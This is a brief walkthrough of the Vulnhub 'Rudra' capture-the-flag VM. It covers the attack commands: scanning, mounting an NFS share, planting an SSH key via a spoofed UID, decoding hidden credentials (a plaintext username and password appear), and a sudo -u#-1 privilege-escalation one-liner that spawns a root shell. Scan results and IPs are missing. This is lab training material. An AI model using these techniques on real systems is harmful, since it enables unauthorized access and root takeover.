Vulnhub Rudra Walkthrough

Rudra Walkthrough

We start by scanning the host with nmap -A –T4 –p- –vv

Dirb scan gave this results :

As we can see from nmap there must be a mounted drive that we can list it by showmount –e

Ok now we are going to access this drive by entering the following commands :

mkdir shivay

mount -t nfs ~/shivay

mount -t nfs -o vers=3 ~/shivay

ls -ld shivay

                drwxr-xr-x 2 1002 1002 4096 Oct 21 16:54 shivay

groupadd –gid 2008 shivay_group

useradd –uid 2008 –groups shivay_group shivay_user

Ok I don’t believe this file is useful , now let’s create a ssh folder and copy our keys to it so we can able to ssh to the host, we create .ssh inside the shivay folder and generate new keys:

mkdir shivay/.ssh

cp ~/.ssh/ shivay/.ssh/authorized_keys

ssh shivay@

and we got in … nice.

Now using script gave us  this:

So we connect to mysql by : mysql –u root

Ok we change directory to /media

Ok now we have a file hints and opening it we can find a link to an article and there is another file creds viewing it we can see some emojis … reading the article and following the steps like:

First copy the contents of the file creds to a new file on your machine and save it

Download the git file from the article and then run it.

Select 2) Decloakify a File  ( locate the file you saved before ) and then Enter cipher #: 20

And your file will be saver as new name, view it and there is a new username and a password where we can use to login with ssh

The file content mahakaal:kalbhairav

It took me a while and a while to figure it out till I found a link to this exploit

sudo -u#-1 watch -x sh -c ‘reset; exec sh 1>&0 2>&0’ –u

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